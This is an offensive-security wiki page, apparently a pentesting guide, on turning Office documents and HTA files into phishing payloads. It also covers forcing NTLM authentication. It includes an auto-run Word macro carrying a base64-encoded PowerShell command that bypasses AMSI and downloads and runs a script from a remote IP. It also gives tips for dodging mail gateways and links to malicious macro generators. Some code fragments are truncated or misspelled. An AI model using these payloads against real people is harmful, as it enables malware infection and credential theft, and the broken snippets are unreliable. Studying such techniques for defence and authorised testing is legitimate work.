# Phishing Files & Documents

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## Office Documents Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened. Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\ For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\ The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.). You can use the following command to check which extensions are going to be executed by some Office programs: ```bash assoc | findstr /i "word excel powerp" ``` DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. ### External Image Load Go to: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\/whatever ![](<../../.gitbook/assets/image (316).png>) ### Macros Backdoor It's possible to use macros to run arbitrary code from the document. #### Autoload functions The more common they are, the more probable the AV will detect them. * AutoOpen() * Document\_Open() #### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") End Sub ``` ```vba Sub AutoOpen() Dim Shell As Object Set Shell = CreateObject("wscript.shell") Shell.Run "calc" End Sub ``` ```vba Dim author As String author = oWB.BuiltinDocumentProperties("Author") With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-") .StdIn.WriteLine author .StdIn.WriteBlackLines 1 ``` ```vba Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` #### Manually remove metadata Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**. #### Doc Extension When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**. #### Malicious Macros Generators * MacOS * [**macphish**](https://github.com/cldrn/macphish) * [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) ## HTA Files An HTA is a proprietary Windows program whose **source code consists of HTML and one or more scripting languages** supported by Internet Explorer (VBScript and JScript). HTML is used to generate the user interface and the scripting language for the program logic. An **HTA executes without the constraints of the browser's security model**, so it executes as a "fully trusted" application. An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.

<--! Basic HTA Execution -->
<html>
  <head>
    <title>Hello World</title>
  </head>
  <body>
    <h2>Hello World</h2>
    <p>This is an HTA...</p>
  </body>

  <script language="VBScript">
    Function Pwn()
      Set shell = CreateObject("wscript.Shell")
      shell.run "calc"
    End Function

    Pwn
  </script>
</html>

```html <--! Cobal Strike generated HTA without shellcode --> ``` ## Forcing NTLM Authentication There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** **Check these ideas and more in the following pages:** {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) {% endcontent-ref %} {% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %} [places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md) {% endcontent-ref %} ### NTLM Relay Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**: * [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)

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